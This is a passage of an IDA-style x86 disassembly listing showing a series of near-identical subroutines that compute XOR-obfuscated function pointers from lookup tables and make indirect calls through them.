var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0E6h
		mov	[ebp+var_2C], 0F4h
		mov	[ebp+var_28], 9Ah
		mov	[ebp+var_24], 8
		mov	[ebp+var_20], 70h
		mov	[ebp+var_1C], 1Eh
		mov	[ebp+var_18], 70h
		mov	[ebp+var_14], 0B3h
		mov	[ebp+var_10], 2
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 2
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AC216
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AC216:				; CODE XREF: sub_4AC185+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AC185	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AC282	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA7Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 69h
		mov	[ebp+var_2C], 0ACh
		mov	[ebp+var_28], 0C6h
		mov	[ebp+var_24], 93h
		mov	[ebp+var_20], 9Bh
		mov	[ebp+var_1C], 0BCh
		mov	[ebp+var_18], 0Ah
		mov	[ebp+var_14], 0
		mov	[ebp+var_10], 9
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 9
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AC313
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AC313:				; CODE XREF: sub_4AC282+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AC282	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AC37F	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA80o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 55h
		mov	[ebp+var_2C], 0AAh
		mov	[ebp+var_28], 6Ah
		mov	[ebp+var_24], 70h
		mov	[ebp+var_20], 0E2h
		mov	[ebp+var_1C], 96h
		mov	[ebp+var_18], 13h
		mov	[ebp+var_14], 65h
		mov	[ebp+var_10], 0Fh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Fh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AC410
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AC410:				; CODE XREF: sub_4AC37F+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AC37F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AC47C	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA84o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 27h
		mov	[ebp+var_2C], 55h
		mov	[ebp+var_28], 6Fh
		mov	[ebp+var_24], 9Bh
		mov	[ebp+var_20], 0C9h
		mov	[ebp+var_1C], 38h
		mov	[ebp+var_18], 8Dh
		mov	[ebp+var_14], 62h
		mov	[ebp+var_10], 0
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AC50A
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AC50A:				; CODE XREF: sub_4AC47C+7Bj
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AC47C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AC576	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA88o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 4Fh
		mov	[ebp+var_2C], 54h
		mov	[ebp+var_28], 2Eh
		mov	[ebp+var_24], 2Eh
		mov	[ebp+var_20], 9Eh
		mov	[ebp+var_1C], 25h
		mov	[ebp+var_18], 43h
		mov	[ebp+var_14], 85h
		mov	[ebp+var_10], 12h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 12h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AC607
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AC607:				; CODE XREF: sub_4AC576+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AC576	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AC673	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA8Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 6Fh
		mov	[ebp+var_2C], 3
		mov	[ebp+var_28], 17h
		mov	[ebp+var_24], 1Bh
		mov	[ebp+var_20], 0A3h
		mov	[ebp+var_1C], 2Dh
		mov	[ebp+var_18], 0D2h
		mov	[ebp+var_14], 0E4h
		mov	[ebp+var_10], 10h
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 10h
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AC704
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AC704:				; CODE XREF: sub_4AC673+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AC673	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AC770	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA90o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 98h
		mov	[ebp+var_2C], 0B7h
		mov	[ebp+var_28], 47h
		mov	[ebp+var_24], 13h
		mov	[ebp+var_20], 87h
		mov	[ebp+var_1C], 0EFh
		mov	[ebp+var_18], 38h
		mov	[ebp+var_14], 1Dh
		mov	[ebp+var_10], 0Eh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Eh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AC801
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AC801:				; CODE XREF: sub_4AC770+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AC770	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AC86D	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA94o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0E4h
		mov	[ebp+var_2C], 51h
		mov	[ebp+var_28], 6Ah
		mov	[ebp+var_24], 66h
		mov	[ebp+var_20], 80h
		mov	[ebp+var_1C], 0A1h
		mov	[ebp+var_18], 85h
		mov	[ebp+var_14], 5Bh
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Ah
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AC8FE
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AC8FE:				; CODE XREF: sub_4AC86D+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AC86D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4AC96A	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA98o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 90h
		mov	[ebp+var_2C], 0F6h
		mov	[ebp+var_28], 0EFh
		mov	[ebp+var_24], 22h
		mov	[ebp+var_20], 0C1h
		mov	[ebp+var_1C], 0CDh
		mov	[ebp+var_18], 9Dh
		mov	[ebp+var_14], 0B5h
		mov	[ebp+var_10], 7
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 7
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4AC9FB
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4AC9FB:				; CODE XREF: sub_4AC96A+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4AC96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ACA67	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDA9Co

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 0C6h
		mov	[ebp+var_2C], 8Eh
		mov	[ebp+var_28], 97h
		mov	[ebp+var_24], 2Ah
		mov	[ebp+var_20], 2Bh
		mov	[ebp+var_1C], 7Ah
		mov	[ebp+var_18], 0D8h
		mov	[ebp+var_14], 1Fh
		mov	[ebp+var_10], 5
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 5
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ACAF8
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ACAF8:				; CODE XREF: sub_4ACA67+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
		mov	ecx, dword_4F36E8[edx*4]
		xor	ecx, dword_4ED2CC[eax*4]
		mov	edx, [ebp+var_38]
		xor	ecx, dword_4ED2CC[edx*4]
		mov	[ebp+var_8], ecx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_3C]
		movsx	edx, byte_4F1DF0[ecx]
		call	off_4F1D00[edx*4]
		add	esp, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	[ebp+var_8]
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_3C]
		movsx	eax, byte_4F1DF0[edx]
		call	off_4F1D78[eax*4]
		add	esp, 4
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_C]
		and	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_4ACA67	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4ACB64	proc near		; CODE XREF: .text:004BB43Ep
					; DATA XREF: .data:004EDAA0o

var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		mov	[ebp+var_30], 68h
		mov	[ebp+var_2C], 0A3h
		mov	[ebp+var_28], 4
		mov	[ebp+var_24], 96h
		mov	[ebp+var_20], 96h
		mov	[ebp+var_1C], 32h
		mov	[ebp+var_18], 83h
		mov	[ebp+var_14], 0EBh
		mov	[ebp+var_10], 0Dh
		mov	[ebp+var_40], 7
		mov	eax, [ebp+arg_0]
		shr	eax, 0Dh
		and	eax, 7
		mov	ecx, [ebp+eax*4+var_30]
		mov	[ebp+var_3C], ecx
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_34], eax
		mov	eax, [ebp+var_3C]
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx
		mov	edx, [ebp+var_34]
		cmp	edx, [ebp+var_38]
		jnz	short loc_4ACBF5
		mov	eax, [ebp+var_38]
		add	eax, 1
		cdq
		mov	ecx, 1Eh
		idiv	ecx
		mov	[ebp+var_38], edx


loc_4ACBF5:				; CODE XREF: sub_4ACB64+7Ej
		mov	edx, [ebp+var_3C]
		mov	eax, [ebp+var_34]
